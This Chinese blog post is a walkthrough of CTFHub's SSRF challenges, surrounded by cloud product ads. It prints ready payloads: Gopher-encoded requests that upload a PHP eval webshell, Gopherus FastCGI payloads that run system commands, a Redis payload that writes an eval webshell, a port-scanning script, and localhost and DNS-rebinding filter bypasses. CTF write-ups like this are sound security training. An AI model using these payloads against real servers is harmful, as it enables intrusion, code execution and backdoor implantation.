CTFHUB SSRF 【全】

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: CTFHUB SSRF 【全】

CTFHUB SSRF 内网访问

打开题目。

提示的很明显。

/?url=http://127.0.0.1/flag.php

CTFHUB SSRF 伪协议读取文件

查看题目描述。

既然是伪协议读取文件,在SSRF中常用的伪协议就是file:///协议了,其在ssrf中可以用来读取php源码。

/?url=file:///var/www/html/flag.php  
//file:///   -- 本地文件传输协议,主要用于访问本地计算机中的文件

CTFHUB SSRF 端口扫描

查看题目描述。

方法一:

burp扫描端口。

这是一道SSRF的题目,所以并不是用御剑或者其他网站后台目录扫描工具进行尝试,根据同一技能数下的前2道题目,可以想到这一题是需要扫描127.0.0.1这一内网地址下的端口,所以我们可以尝试使用BURPSUITE来进行爆破尝试。

专业版burp秒出

方法二:

python脚本爆破。

import requests
 
url = 'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001):
    url_1 = f'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'
    res = requests.get(url_1)
    print(index, res.text)

CTFHUB SSRF POST请求

题目描述:

这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。

先扫一下目录。 python dirsearch.py -u 网址 -t 1 -x 400,403,404,500,503,429

貌似不能直接访问。

简单SSRF一下,index.php啥也没有,flag.php有个key。key=f910c419bfd35923eaaa16a22d1ac240

url=http://127.0.0.1/flag.php

接着,我们将index.php和flag.php的源码读出来:

/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php

index.php:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

应该是让我们把key交上去,尝试使用 Gopher 协议向服务器发送 POST 包

首先构造 Gopher协议所需的 POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=

在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。


在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。


所以我们需要对构造的请求包进行两次 URL编码:


在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

python脚本:

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回车,回车结尾表示http请求结束。Content-Length是key=e01fdff5c126356cb64cf2436f8c7704的长度
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A

传参,/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df910c419bfd35923eaaa16a22d1ac240%250D%250A

%0D%0A感觉原理好像CRLF

CTFHUB SSRF 上传文件

和上题一样步骤先读出源码。

index.php

<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
-->

flag.php

<!--?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
-->

所以只要传个文件进去就行了,大小大于0。

没有提交上传按钮,自己前端改写一个。

<input type="submit" name="submit">

然后burp抓包。

修改Host: 127.0.0.1:80,跑脚本生成payload。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/111.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------352872462627546662763253896363%250D%250AContent-Length%253A%2520395%250D%250AOrigin%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-81e4adb40db6b8ed.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.pHp%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250AGIF89a%250D%250A%253C%253Fphp%250D%250Aeval%2520%2528%2524_POST%255Bjay17%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------352872462627546662763253896363%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------352872462627546662763253896363--%250D%250A

传参/?url=payload得到flag。

CTFHUB SSRF FastCGI协议

FastCGI

Wikipedia对FastCGI的解释:快速通用网关接口(Fast****Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。


php-fpm


官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。


php-fpm实现原理


想要分析它的原理需要从FastCGI协议封装数据内容来看,这里仅对原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。


而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。


那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的。

Gopherus工具生成攻击FastCGI的payload。

利用条件:
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径

桌面快捷方式开终端,然后

python2 gopherus.py --exploit fastcgi

之后有两个地方可以输入

第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php  

第二个地方输入:
希望目标服务器执行的恶意命令,比如echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php  或者  ls/cat f*

得到payload。

//ls /
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

//cat /f*
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将payload再进行一次url编码。

传入/?url=payloadurl编码。

CTFHUB SSRF Redis协议

题目描述:这次来redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!


Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。


Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

Gopherus工具生成攻击Redis的payload。

桌面快捷方式开终端,然后

python2 gopherus.py --exploit redis

之后有三个地方可以输入。

第一个地方输入:
这里选择是反弹shell还是正向shell         //这题phpshell

第二个地方输入:
服务器根目录,默认为/var/www/html,可以直接回车

第三个地方输入:
后门代码比如:<?php @eval($_POST['jay']) ?>         //默认写入根目录的shell.php

得到payload。

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27jay%27%5D%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

url编码一次传入。

已经有shell.php了,虽然504。

蚁剑貌似连不上,直接RCE。

CTFHUB SSRF URL Bypass

题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。

说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用@来绕过,如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://notfound.ctfhub.com@127.0.0.1与 http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。

payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

CTFHUB SSRF URL 数字IP Bypass

题目描述:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

不能直接访问。

payload:
?url=http://localhost/flag.php
?url=http://0/flag.php
?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php

CTFHUB SSRF 302跳转 Bypass

payload

http://0.xip.io/flag.php
http://localhost.xip.io/flag.php
http://①②⑦.⓪.⓪.①.xip.io/flag.php

或者302跳转:利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中。 302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag/.php。 在自己服务器上面放一个302.php或者直接在线网站。

302.php:

<?php
    header("HTTP/1.1 302 found"); 
    header("Location:http://127.0.0.1/flag.php");
    exit();
?>
?url=http://121.37.162.21/302.php

CTFHUB SSRF DNS重绑定 Bypass

题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助。

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。


但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。


要完成DNS重绑定,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行了,完整的攻击流程为:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

网址

rbndr.us dns rebinding service (cmpxchg8b.com)

?url=7f000001.7f000002.rbndr.us/flag.php

IP会在A、B两个之间反复切换。我们知道,127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost,所以A和B都能进内网。

目录
相关文章
|
7月前
|
安全 数据安全/隐私保护
31、CSRF漏洞介绍
31、CSRF漏洞介绍
42 0
|
3月前
|
编解码 安全 生物认证
|
3月前
|
SQL 存储 安全
Web安全-CSRF跨站请求伪造
Web安全-CSRF跨站请求伪造
101 5
|
4月前
|
XML 安全 网络安全
XXE漏洞详解(三)——XXE漏洞实际运用
XXE漏洞详解(三)——XXE漏洞实际运用
272 4
|
XML 安全 网络安全
SSRF(服务器端请求伪造)
SSRF(服务器端请求伪造)攻击,如何进行内网穿透
133 1
|
域名解析 缓存 网络协议
DNS Rebinding Attack 绕过SSRF限制
DNS Rebinding Attack 绕过SSRF限制
|
数据安全/隐私保护
CSRF(跨站请求伪造)
CSRF(跨站请求伪造)
126 0
|
SQL XML 安全
干货 | ssrf形成原因、各种场景的利用方法总结
干货 | ssrf形成原因、各种场景的利用方法总结
1275 0
|
安全 前端开发 应用服务中间件
什么是CSRF(跨站请求伪造)?
什么是CSRF(跨站请求伪造)?
339 0
什么是CSRF(跨站请求伪造)?